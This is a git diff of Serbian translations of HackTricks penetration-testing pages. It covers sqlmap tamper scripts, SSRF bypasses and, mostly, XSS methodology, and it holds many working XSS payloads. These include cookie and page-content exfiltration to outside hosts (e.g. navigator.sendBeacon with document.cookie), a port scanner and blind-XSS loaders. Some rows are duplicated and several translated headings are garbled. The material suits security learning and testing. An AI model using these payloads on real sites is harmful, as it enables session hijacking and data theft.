| securesphere.py | Dodaje posebno oblikovan string |
| securesphere.py | Dodaje posebno kreiranu string |
| sp_password.py | Dodaje 'sp_password' na kraj payload-a za automatsku obfuscaciju iz DBMS logova |
| space2comment.py | Zamenjuje karakter razmaka (' ') sa komentarima |
| space2dash.py | Zamenjuje karakter razmaka (' ') sa komentarom crtica ('--') praćenim nasumičnim stringom i novim redom ('\n') |
| space2hash.py | Zamenjuje karakter razmaka (' ') sa karakterom za broj ('#') praćenim nasumičnim stringom i novim redom ('\n') |
| space2morehash.py | Zamenjuje karakter razmaka (' ') sa karakterom za broj ('#') praćenim nasumičnim stringom i novim redom ('\n') |
| space2mssqlblank.py | Zamenjuje karakter razmaka (' ') sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera |
| space2dash.py | Zamenjuje karakter razmaka (' ') sa komentarom crtica ('--') praćenim nasumičnim stringom i novim redom ('\n') |
| space2hash.py | Zamenjuje karakter razmaka (' ') sa karakterom za broj ('#') praćenim nasumičnim stringom i novim redom ('\n') |
| space2morehash.py | Zamenjuje karakter razmaka (' ') sa karakterom za broj ('#') praćenim nasumičnim stringom i novim redom ('\n') |
| space2mssqlblank.py | Zamenjuje karakter razmaka (' ') sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera |
| space2mssqlhash.py | Zamenjuje karakter razmaka (' ') sa karakterom za broj ('#') praćenim novim redom ('\n') |
| space2mysqlblank.py | Zamenjuje karakter razmaka (' ') sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera |
| space2mysqlblank.py | Zamenjuje karakter razmaka (' ') sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera |
| space2mysqldash.py | Zamenjuje karakter razmaka (' ') sa komentarom crtica ('--') praćenim novim redom ('\n') |
| space2plus.py | Zamenjuje karakter razmaka (' ') sa plusom ('+') |
| space2randomblank.py | Zamenjuje karakter razmaka (' ') sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera |
| space2plus.py | Zamenjuje karakter razmaka (' ') sa plusom ('+') |
| space2randomblank.py | Zamenjuje karakter razmaka (' ') sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera |
| symboliclogical.py | Zamenjuje AND i OR logičke operatore sa njihovim simboličkim ekvivalentima (&& i |
| unionalltounion.py | Zamenjuje UNION ALL SELECT sa UNION SELECT |
| unmagicquotes.py | Zamenjuje karakter navodnika (') sa multi-bajt kombinacijom %bf%27 zajedno sa generičkim komentarom na kraju (da bi radilo) |
| uppercase.py | Zamenjuje svaki karakter ključne reči sa velikim slovom 'INSERT' |
| varnish.py | Dodaje HTTP zaglavlje 'X-originating-IP' |
| versionedkeywords.py | Obavija svaku ne-funkcijsku ključnu reč sa verzioniranim MySQL komentarom |
| varnish.py | Dodaje HTTP header 'X-originating-IP' |
| versionedkeywords.py | Obavija svaku ne-funkcionalnu ključnu reč sa verzioniranim MySQL komentarom |
| versionedmorekeywords.py | Obavija svaku ključnu reč sa verzioniranim MySQL komentarom |
| xforwardedfor.py | Dodaje lažno HTTP zaglavlje 'X-Forwarded-For' |
| xforwardedfor.py | Dodaje lažni HTTP header 'X-Forwarded-For' |
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -5,6 +5,7 @@
### Localhost
```bash
# Localhost
0 # Yes, just 0 is localhost in Linuc
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
@ -143,9 +144,9 @@ http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
#Parameter pollution
next={domain}&next=attacker.com
```
### Obilaženje putanja i ekstenzija
### Paths and Extensions Bypass
Ako je potrebno da URL završi sa putanjom ili ekstenzijom, ili mora sadržati putanju, možete pokušati jedno od sledećih obilaženja:
Ako je zahtevano da URL završi sa putanjom ili ekstenzijom, ili mora sadržati putanju, možete pokušati jedan od sledećih zaobilaženja:
```
https://metadata/vulerable/path#/expected/path
https://metadata/vulerable/path#.extension
@ -153,7 +154,7 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
```
### Fuzzing
Alat [**recollapse**](https://github.com/0xacb/recollapse) može generisati varijacije iz datog unosa kako bi pokušao da zaobiđe korišćeni regex. Pogledajte [**ovaj post**](https://0xacb.com/2022/11/21/recollapse/) takođe za više informacija.
Alat [**recollapse**](https://github.com/0xacb/recollapse) može generisati varijacije iz datog ulaza kako bi pokušao da zaobiđe korišćeni regex. Pogledajte [**ovaj post**](https://0xacb.com/2022/11/21/recollapse/) takođe za više informacija.
### Automatic Custom Wordlists

View File

@ -3,8 +3,8 @@
## Metodologija
1. Proverite da li se **bilo koja vrednost koju kontrolišete** (_parametri_, _putanja_, _zaglavlja_?, _kolačići_?) **odražava** u HTML-u ili se **koristi** od strane **JS** koda.
2. **Pronađite kontekst** u kojem se odražava/korišćen.
3. Ako je **odražano**
2. **Pronađite kontekst** u kojem se odražava/koristi.
3. Ako je **odraženo**
1. Proverite **koje simbole možete koristiti** i u zavisnosti od toga, pripremite payload:
1. U **sirovom HTML-u**:
1. Možete li kreirati nove HTML tagove?
@ -20,12 +20,12 @@
3. Unutar **JavaScript koda**:
1. Možete li pobjeći iz `<script>` taga?
2. Možete li pobjeći iz stringa i izvršiti različit JS kod?
3. Da li su vaši unosi u template literalu \`\`?
3. Da li su vaši ulazi u template literalu \`\`?
4. Možete li zaobići zaštite?
4. Javascript **funkcija** koja se **izvršava**
1. Možete naznačiti ime funkcije koju treba izvršiti. npr.: `?callback=alert(1)`
4. Ako je **korišćeno**:
1. Mogli biste iskoristiti **DOM XSS**, obratite pažnju kako se vaš unos kontroliše i da li se vaš **kontrolisani unos koristi od strane bilo kog sinka.**
4. Ako je **korisno**:
1. Mogli biste iskoristiti **DOM XSS**, obratite pažnju kako se vaš ulaz kontroliše i da li se vaš **kontrolisani ulaz koristi od strane bilo kog sinka.**
Kada radite na složenom XSS-u, možda će vam biti zanimljivo da saznate o:
@ -33,7 +33,7 @@ Kada radite na složenom XSS-u, možda će vam biti zanimljivo da saznate o:
debugging-client-side-js.md
{{#endref}}
## Odradene vrednosti
## Odrasle vrednosti
Da biste uspešno iskoristili XSS, prva stvar koju treba da pronađete je **vrednost koju kontrolišete koja se odražava** na veb stranici.
@ -43,21 +43,21 @@ Da biste uspešno iskoristili XSS, prva stvar koju treba da pronađete je **vred
## Konteksti
Kada pokušavate da iskoristite XSS, prva stvar koju treba da znate je **gde se vaš unos odražava**. U zavisnosti od konteksta, moći ćete da izvršite proizvoljan JS kod na različite načine.
Kada pokušavate da iskoristite XSS, prva stvar koju treba da znate je **gde se vaš ulaz odražava**. U zavisnosti od konteksta, moći ćete da izvršite proizvoljan JS kod na različite načine.
### Sirov HTML
### Sirovi HTML
Ako se vaš unos **odražava na sirovom HTML** stranici, moraćete da zloupotrebite neki **HTML tag** kako biste izvršili JS kod: `<img , <iframe , <svg , <script` ... ovo su samo neki od mnogih mogućih HTML tagova koje možete koristiti.\
Ako se vaš ulaz **odražava na sirovom HTML** stranici, moraćete da zloupotrebite neki **HTML tag** kako biste izvršili JS kod: `<img , <iframe , <svg , <script` ... ovo su samo neki od mnogih mogućih HTML tagova koje možete koristiti.\
Takođe, imajte na umu [Client Side Template Injection](../client-side-template-injection-csti.md).
### Unutar atributa HTML tagova
Ako se vaš unos odražava unutar vrednosti atributa taga, mogli biste pokušati:
Ako se vaš ulaz odražava unutar vrednosti atributa taga, mogli biste pokušati:
1. Da **pobegnete iz atributa i iz taga** (onda ćete biti u sirovom HTML-u) i kreirate novi HTML tag za zloupotrebu: `"><img [...]`
2. Ako **možete pobjeći iz atributa, ali ne i iz taga** (`>` je kodiran ili obrisan), u zavisnosti od taga mogli biste **kreirati događaj** koji izvršava JS kod: `" autofocus onfocus=alert(1) x="`
3. Ako **ne možete pobjeći iz atributa** (`"` se kodira ili briše), onda u zavisnosti od **koji atribut** se vaša vrednost odražava **ako kontrolišete celu vrednost ili samo deo** moći ćete da je zloupotrebite. Na **primer**, ako kontrolišete događaj kao što je `onclick=`, moći ćete da ga naterate da izvrši proizvoljan kod kada se klikne. Još jedan zanimljiv **primer** je atribut `href`, gde možete koristiti `javascript:` protokol za izvršavanje proizvoljnog koda: **`href="javascript:alert(1)"`**
4. Ako se vaš unos odražava unutar "**neeksploatabilnih tagova**", mogli biste pokušati trik sa **`accesskey`** da zloupotrebite ranjivost (biće vam potrebna neka vrsta socijalnog inženjeringa da biste to iskoristili): **`" accesskey="x" onclick="alert(1)" x="`**
3. Ako **ne možete pobjeći iz atributa** (`"` je kodiran ili obrisan), onda u zavisnosti od **koji atribut** se vaša vrednost odražava **ako kontrolišete celu vrednost ili samo deo** moći ćete da zloupotrebite. Na **primer**, ako kontrolišete događaj kao što je `onclick=`, moći ćete da ga naterate da izvrši proizvoljan kod kada se klikne. Još jedan zanimljiv **primer** je atribut `href`, gde možete koristiti `javascript:` protokol za izvršavanje proizvoljnog koda: **`href="javascript:alert(1)"`**
4. Ako se vaš ulaz odražava unutar "**neeksploatabilnih tagova**", mogli biste pokušati trik sa **`accesskey`** da zloupotrebite ranjivost (biće vam potrebna neka vrsta socijalnog inženjeringa da biste to iskoristili): **`" accesskey="x" onclick="alert(1)" x="**
Čudan primer Angular-a koji izvršava XSS ako kontrolišete ime klase:
```html
@ -83,8 +83,8 @@ alert(1)
```
#### Javascript Hoisting
Javascript Hoisting se odnosi na mogućnost da **deklarirate funkcije, promenljive ili klase nakon što su korišćene kako biste mogli da iskoristite scenarije gde XSS koristi nedeklarisane promenljive ili funkcije.**\
**Proverite sledeću stranicu za više informacija:**
Javascript Hoisting se odnosi na mogućnost da **deklarirate funkcije, promenljive ili klase nakon što su korišćene, tako da možete iskoristiti scenarije gde XSS koristi nedeklarisane promenljive ili funkcije.**\
**Pogledajte sledeću stranicu za više informacija:**
{{#ref}}
js-hoisting.md
@ -149,9 +149,9 @@ server-side-xss-dynamic-pdf.md
## Umetanje unutar sirovog HTML-a
Kada se vaš unos odražava **unutar HTML stranice** ili možete da pobegnete i umetnete HTML kod u ovom kontekstu, **prva** stvar koju treba da uradite je da proverite da li možete da zloupotrebite `<` da kreirate nove oznake: Samo pokušajte da **odrazite** taj **karakter** i proverite da li je **HTML kodiran** ili **izbrisan** ili ako je **odražen bez promena**. **Samo u poslednjem slučaju ćete moći da iskoristite ovaj slučaj**.\
Kada se vaš unos odražava **unutar HTML stranice** ili možete pobjeći i umetnuti HTML kod u ovom kontekstu, **prva** stvar koju treba da uradite je da proverite da li možete da zloupotrebite `<` da kreirate nove oznake: Samo pokušajte da **odrazite** taj **karakter** i proverite da li je **HTML kodiran** ili **izbrisan** ili ako je **odražen bez promena**. **Samo u poslednjem slučaju ćete moći da iskoristite ovaj slučaj**.\
Za ove slučajeve takođe **imajte na umu** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
_**Napomena: HTML komentar se može zatvoriti koristeći\*\*\*\*\*\***\***\*`-->`\*\***\***\*ili \*\*\*\*\*\***`--!>`\*\*_
_**Napomena: HTML komentar može biti zatvoren koristeći\*\*\*\*\*\***\***\*`-->`\*\***\***\*ili \*\*\*\*\*\***`--!>`\*\*_
U ovom slučaju i ako se ne koristi crna/bela lista, mogli biste koristiti payload-e kao:
```html
@ -170,7 +170,7 @@ Idite na [**https://portswigger.net/web-security/cross-site-scripting/cheat-shee
### Prilagođeni tagovi
Ako niste pronašli nijedan validan HTML tag, možete pokušati da **kreirate prilagođeni tag** i izvršite JS kod sa `onfocus` atributom. U XSS zahtevu, potrebno je da završite URL sa `#` kako biste naterali stranicu da **fokusira na taj objekat** i **izvrši** kod:
Ako niste pronašli nijedan validan HTML tag, možete pokušati da **kreirate prilagođeni tag** i izvršite JS kod sa `onfocus` atributom. U XSS zahtevu, potrebno je da završite URL sa `#` kako biste učinili da stranica **fokusira na taj objekat** i **izvrši** kod:
```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
```
@ -235,7 +235,7 @@ onerror=alert`1`
```
The last one is using 2 unicode characters which expands to 5: telsr\
Više ovih karaktera možete pronaći [ovde](https://www.unicode.org/charts/normalization/).\
Da proverite u koje karaktere su dekomponovani, proverite [ovde](https://www.compart.com/en/unicode/U+2121).
Da proverite u koje se karaktere dekomponuje, proverite [ovde](https://www.compart.com/en/unicode/U+2121).
### Click XSS - Clickjacking
@ -250,7 +250,7 @@ Ako mislite da je **nemoguće kreirati HTML tag sa atributom za izvršavanje JS
### Inside the tag/escaping from attribute value
Ako ste **unutar HTML taga**, prva stvar koju možete pokušati je da **izbegnete** tag i koristite neke od tehnika pomenutih u [prethodnom odeljku](#injecting-inside-raw-html) za izvršavanje JS koda.\
Ako **ne možete da pobegnete iz taga**, možete kreirati nove atribute unutar taga kako biste pokušali da izvršite JS kod, na primer koristeći neki payload kao (_napomena da se u ovom primeru koriste dvostruki navodnici za izbegavanje iz atributa, nećete ih trebati ako se vaš unos direktno reflektuje unutar taga_):
Ako **ne možete da izbegnete tag**, možete kreirati nove atribute unutar taga da biste pokušali da izvršite JS kod, na primer koristeći neki payload kao (_napomena da se u ovom primeru koriste dvostruki navodnici za izbegavanje iz atributa, nećete ih trebati ako se vaš unos direktno reflektuje unutar taga_):
```bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -274,7 +274,7 @@ Još jedan zanimljiv **primer** je atribut `href`, gde možete koristiti `javasc
**HTML kodirani karakteri** unutar vrednosti atributa HTML oznaka se **dekodiraju u vreme izvršavanja**. Stoga nešto poput sledećeg će biti važeće (payload je u podebljanom): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Vrati se </a>`
Napomena da je **svaka vrsta HTML kodiranja validna**:
Napomena: **bilo koja vrsta HTML kodiranja je validna**:
```javascript
//HTML entities
&apos;-alert(1)-&apos;
@ -351,13 +351,13 @@ _**U ovom slučaju, HTML kodiranje i trik sa Unicode kodiranjem iz prethodnog od
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
Pored toga, postoji još jedan **lepi trik** za ove slučajeve: **Čak i ako je vaš unos unutar `javascript:...` URL kodiran, biće URL dekodiran pre nego što se izvrši.** Dakle, ako treba da **izbegnete** iz **niza** koristeći **jednu navodnu**, i vidite da se **URL kodira**, zapamtite da **to nije važno,** biće **tumačeno** kao **jedna navodna** tokom **vremena izvršenja.**
Pored toga, postoji još jedan **lepi trik** za ove slučajeve: **Čak i ako je vaš unos unutar `javascript:...` URL kodiran, biće URL dekodiran pre nego što se izvrši.** Dakle, ako treba da **izbegnete** iz **niza** koristeći **jednostavni navodnik** i vidite da **je URL kodiran**, zapamtite da **nije važno,** biće **tumačeno** kao **jednostavni navodnik** tokom **vremena izvršenja.**
```javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
```
Napomena da ako pokušate da **koristite oba** `URLencode + HTMLencode` u bilo kom redosledu za kodiranje **payload-a**, to **neće** **raditi**, ali možete **mešati ih unutar payload-a**.
Napomena da ako pokušate da **koristite oba** `URLencode + HTMLencode` u bilo kom redosledu da kodirate **payload**, to **neće** **raditi**, ali možete **mešati ih unutar payload-a**.
**Korišćenje Hex i Octal kodiranja sa `javascript:`**
@ -383,10 +383,10 @@ Ako možete da ubacite bilo koju URL adresu u proizvoljnom **`<a href=`** tagu k
../reverse-tab-nabbing.md
{{#endref}}
### za zaobilaženje "on" događaja
### za zaobilaženje "on" upravljača događajima
Prvo proverite ovu stranicu ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) za korisne **"on" događaje**.\
U slučaju da postoji neka crna lista koja vam sprečava da kreirate ove događaje, možete pokušati sledeće zaobilaženja:
Prvo proverite ovu stranicu ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) za korisne **"on" upravljače događajima**.\
U slučaju da postoji neka crna lista koja vam sprečava da kreirate ove upravljače događajima, možete pokušati sledeće zaobilaženja:
```javascript
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
@ -401,7 +401,7 @@ Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
```
### XSS u "Neiskoristivim tagovima" (skriveni unos, link, kanonski, meta)
### XSS u "neiskoristivim tagovima" (skriveni unos, link, kanonski, meta)
Iz [**ovde**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sada je moguće zloupotrebiti skrivene unose sa:**
```html
@ -422,7 +422,7 @@ onbeforetoggle="alert(2)" />
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
```
Iz [**ovde**](https://portswigger.net/research/xss-in-hidden-input-fields): Možete izvršiti **XSS payload unutar skrivenog atributa**, pod uslovom da možete **ubediti** **žrtvu** da pritisne **kombinaciju tastera**. Na Firefox Windows/Linux kombinacija tastera je **ALT+SHIFT+X**, a na OS X je **CTRL+ALT+X**. Možete odrediti drugačiju kombinaciju tastera koristeći drugi taster u atributu pristupa. Evo vektora:
Sa [**ovde**](https://portswigger.net/research/xss-in-hidden-input-fields): Možete izvršiti **XSS payload unutar skrivenog atributa**, pod uslovom da možete **ubediti** **žrtvu** da pritisne **kombinaciju tastera**. Na Firefox Windows/Linux kombinacija tastera je **ALT+SHIFT+X**, a na OS X je **CTRL+ALT+X**. Možete odrediti drugačiju kombinaciju tastera koristeći drugi taster u atributu pristupa. Evo vektora:
```html
<input type="hidden" accesskey="X" onclick="alert(1)">
```
@ -430,7 +430,7 @@ Iz [**ovde**](https://portswigger.net/research/xss-in-hidden-input-fields): Mož
### Obilaženje crne liste
Nekoliko trikova sa korišćenjem različitih kodiranja je već otkriveno u ovom odeljku. Vratite se **da naučite gde možete koristiti:**
Nekoliko trikova sa korišćenjem različitih kodiranja je već otkriveno u ovom odeljku. Vratite se da naučite gde možete koristiti:
- **HTML kodiranje (HTML tagovi)**
- **Unicode kodiranje (može biti validan JS kod):** `\u0061lert(1)`
@ -438,13 +438,13 @@ Nekoliko trikova sa korišćenjem različitih kodiranja je već otkriveno u ovom
- **Hex i Oktalno kodiranje**
- **data kodiranje**
**Obilaženja za HTML tagove i atribute**
**Obilaženje za HTML tagove i atribute**
Pročitajte [Obilaženja crne liste prethodnog odeljka](#blacklist-bypasses).
Pročitajte [Obilaženje crne liste iz prethodnog odeljka](#blacklist-bypasses).
**Obilaženja za JavaScript kod**
**Obilaženje za JavaScript kod**
Pročitajte [JavaScript obilaženje crne liste sledećeg odeljka](#javascript-bypass-blacklists-techniques).
Pročitajte [JavaScript obilaženje crne liste iz sledećeg odeljka](#javascript-bypass-blacklists-techniques).
### CSS-Gadgets
@ -472,11 +472,11 @@ U ovom slučaju, vaš **ulaz** će biti **reflektovan unutar JS koda** `.js` faj
### Izbegavanje \<script> taga
Ako je vaš kod umetnut unutar `<script> [...] var input = 'reflektovani podaci' [...] </script>` lako možete **izbeći zatvaranje `<script>`** taga:
Ako je vaš kod umetnut unutar `<script> [...] var input = 'reflected data' [...] </script>` lako možete **izbeći zatvaranje `<script>`** taga:
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
Napomena da u ovom primeru **nismo čak ni zatvorili jednostavni navodnik**. To je zato što **HTML parsiranje prvo vrši pregledač**, što uključuje identifikaciju elemenata stranice, uključujući blokove skripti. Parsiranje JavaScript-a za razumevanje i izvršavanje ugrađenih skripti se vrši tek kasnije.
Napomena da u ovom primeru **nismo čak ni zatvorili jednostavni navodnik**. To je zato što **HTML parsiranje prvo vrši pregledač**, što uključuje identifikaciju elemenata stranice, uključujući blokove skripti. Parsiranje JavaScript-a da bi se razumele i izvršile ugrađene skripte se vrši tek kasnije.
### Unutar JS koda
@ -488,8 +488,8 @@ Ako se `<>` sanitizuju, još uvek možete **izbeći string** gde se vaš unos **
```
### Template literals \`\`
Da biste konstruisali **nizove** pored jednostrukih i dvostrukih navodnika, JS takođe prihvata **backticks** **` `` `**. Ovo je poznato kao template literals jer omogućava **ugrađivanje JS izraza** koristeći `${ ... }` sintaksu.\
Stoga, ako primetite da se vaš unos **reflektuje** unutar JS niza koji koristi backticks, možete zloupotrebiti sintaksu `${ ... }` da izvršite **arbitrarni JS kod**:
Da biste konstruisali **stringove** pored jednostrukih i dvostrukih navodnika, JS takođe prihvata **backticks** **` `` `**. Ovo je poznato kao template literals jer omogućava **ugrađivanje JS izraza** koristeći `${ ... }` sintaksu.\
Stoga, ako primetite da se vaš unos **reflektuje** unutar JS stringa koji koristi backticks, možete zloupotrebiti sintaksu `${ ... }` da izvršite **arbitrarni JS kod**:
Ovo se može **zloupotrebiti** koristeći:
```javascript
@ -753,23 +753,23 @@ Takođe, ne zaboravite da **na kraju pomenutog posta** možete pronaći objašnj
### Cookie XSS
Ako možete da izazovete XSS slanjem payload-a unutar kolačića, ovo je obično self-XSS. Međutim, ako pronađete **ranjivi poddomen za XSS**, možete iskoristiti ovaj XSS da injektujete kolačić u celu domenu, uspevajući da izazovete cookie XSS u glavnoj domeni ili drugim poddomenima (onim ranjivim na cookie XSS). Za ovo možete koristiti napad cookie tossing:
Ako možete izazvati XSS slanjem payload-a unutar kolačića, ovo je obično self-XSS. Međutim, ako pronađete **ranjivi poddomen za XSS**, mogli biste iskoristiti ovaj XSS da injektujete kolačić u celu domenu, uspevajući da izazovete cookie XSS u glavnoj domeni ili drugim poddomenima (onim ranjivim na cookie XSS). Za ovo možete koristiti napad cookie tossing:
{{#ref}}
../hacking-with-cookies/cookie-tossing.md
{{#endref}}
Možete pronaći sjajnu zloupotrebu ove tehnike u [**ovom blog postu**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
Možete pronaći sjajan primer zloupotrebe ove tehnike u [**ovom blog postu**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
### Slanje vaše sesije administratoru
Možda korisnik može podeliti svoj profil sa administratorom i ako je self XSS unutar profila korisnika, a administrator mu pristupi, on će aktivirati ranjivost.
Možda korisnik može podeliti svoj profil sa administratorom i ako je self XSS unutar profila korisnika, a administrator mu pristupi, on će izazvati ranjivost.
### Odbijanje sesije
### Održivost sesije
Ako pronađete neki self XSS i web stranica ima **odbijanje sesije za administratore**, na primer, omogućavajući klijentima da traže pomoć, kako bi administrator mogao da vam pomogne, videće ono što vi vidite u svojoj sesiji, ali iz svoje sesije.
Ako pronađete neki self XSS i web stranica ima **održivost sesije za administratore**, na primer, omogućavajući klijentima da traže pomoć, kako bi administrator mogao da vam pomogne, videće ono što vi vidite u svojoj sesiji, ali iz svoje sesije.
Možete naterati **administratora da aktivira vaš self XSS** i ukrade njegove kolačiće/sesiju.
Možete naterati **administratora da izazove vaš self XSS** i ukrade njegove kolačiće/sesiju.
## Ostali Bypasses
@ -783,7 +783,7 @@ Možete proveriti da li su **reflektovane vrednosti** **unicode normalizovane**
```
### Ruby-On-Rails bypass
Zbog **RoR masovne dodeljivanje** citati se ubacuju u HTML, a zatim se zaobilaže ograničenja citata i dodatna polja (onfocus) mogu biti dodata unutar taga.\
Zbog **RoR masovnog dodeljivanja** citati se ubacuju u HTML, a zatim se zaobilazi ograničenje citata i dodatna polja (onfocus) mogu biti dodata unutar taga.\
Primer forme ([from this report](https://hackerone.com/reports/709336)), ako pošaljete payload:
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
@ -792,7 +792,7 @@ Par "Ključ","Vrednost" će biti vraćen ovako:
```
{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
```
Zatim će biti umetnut onfocus atribut i doći će do XSS-a.
Zatim će biti umetnut onfocus atribut i XSS se dešava.
### Posebne kombinacije
```html
@ -826,7 +826,7 @@ document['default'+'View'][`\u0061lert`](3)
```
### XSS sa injekcijom zaglavlja u 302 odgovoru
Ako otkrijete da možete **injektovati zaglavlja u 302 Redirect odgovoru**, mogli biste pokušati da **naterate pregledač da izvrši proizvoljni JavaScript**. Ovo **nije trivijalno** jer moderni pregledači ne interpretiraju telo HTTP odgovora ako je statusni kod HTTP odgovora 302, tako da je samo payload za cross-site scripting beskoristan.
Ako otkrijete da možete **injektovati zaglavlja u 302 Redirect odgovoru**, možete pokušati da **naterate pregledač da izvrši proizvoljni JavaScript**. Ovo **nije trivijalno** jer moderni pregledači ne interpretiraju telo HTTP odgovora ako je statusni kod HTTP odgovora 302, tako da je samo payload za cross-site scripting beskoristan.
U [**ovom izveštaju**](https://www.gremwell.com/firefox-xss-302) i [**ovom**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) možete pročitati kako možete testirati nekoliko protokola unutar Location zaglavlja i videti da li neki od njih omogućava pregledaču da ispita i izvrši XSS payload unutar tela.\
Poznati protokoli: `mailto://`, `//x:1/`, `ws://`, `wss://`, _prazno Location zaglavlje_, `resource://`.
@ -837,7 +837,7 @@ Ako ste u mogućnosti da naznačite **callback** koji će JavaScript **izvršiti
### Validni `<script>` Content-Types za XSS
(Iz [**ovde**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Ako pokušate da učitate skriptu sa **content-type** kao što je `application/octet-stream`, Chrome će prikazati sledeću grešku:
(Iz [**ovde**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Ako pokušate da učitate skriptu sa **content-type** kao što je `application/octet-stream`, Chrome će baciti sledeću grešku:
> Refused to execute script from [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (application/octet-stream) is not executable, and strict MIME type checking is enabled.
@ -865,7 +865,7 @@ const char* const kSupportedJavascriptTypes[] = {
```
### Tipovi skripti za XSS
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Dakle, koji tipovi bi mogli biti označeni za učitavanje skripte?
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Dakle, koji tipovi bi mogli biti naznačeni za učitavanje skripte?
```html
<script type="???"></script>
```
@ -932,7 +932,7 @@ U drugim pregledačima drugi **`Content-Types`** mogu se koristiti za izvršavan
### xml Content Type
Ako stranica vraća text/xml tip sadržaja, moguće je naznačiti prostor imena i izvršiti proizvoljni JS:
Ako stranica vraća text/xml tip sadržaja, moguće je naznačiti prostor imena i izvršiti proizvoljan JS:
```xml
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
@ -942,7 +942,7 @@ Ako stranica vraća text/xml tip sadržaja, moguće je naznačiti prostor imena
```
### Posebni obrasci zamene
Kada se koristi nešto poput **`"some {{template}} data".replace("{{template}}", <user_input>)`**, napadač može koristiti [**posebne zamene stringova**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) da pokuša da zaobiđe neke zaštite: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
Kada se koristi nešto poput **`"some {{template}} data".replace("{{template}}", <user_input>)`**, napadač može koristiti [**posebne zamene stringova**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) kako bi pokušao da zaobiđe neke zaštite: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
Na primer, u [**ovoj analizi**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), ovo je korišćeno da se **izbegne JSON string** unutar skripte i izvrši proizvoljan kod.
@ -1268,9 +1268,9 @@ Naterajte korisnika da se kreće po stranici bez izlaska iz iframe-a i ukradite
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
```
> [!NOTE]
> Nećete moći da pristupite kolačićima iz JavaScript-a ako je HTTPOnly zastavica postavljena u kolačiću. Ali ovde imate [neke načine da zaobiđete ovu zaštitu](../hacking-with-cookies/index.html#httponly) ako imate sreće.
> Nećete moći da pristupite kolačićima iz JavaScript-a ako je HTTPOnly oznaka postavljena u kolačiću. Ali ovde imate [neke načine da zaobiđete ovu zaštitu](../hacking-with-cookies/index.html#httponly) ako imate sreće.
### Ukradi sadržaj stranice
### Ukradite sadržaj stranice
```javascript
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
@ -1359,7 +1359,7 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
};
}
```
_Kratki vremenski intervali ukazuju na port koji odgovara_ _Dugotrajniji vremenski intervali ukazuju na to da nema odgovora._
_Kratki vremenski intervali ukazuju na port koji odgovara_ _Duži vremenski intervali ukazuju na to da nema odgovora._
Pogledajte listu portova koji su zabranjeni u Chrome-u [**ovde**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) i u Firefox-u [**ovde**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
@ -1471,6 +1471,31 @@ Možete takođe koristiti: [https://xsshunter.com/](https://xsshunter.com)
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
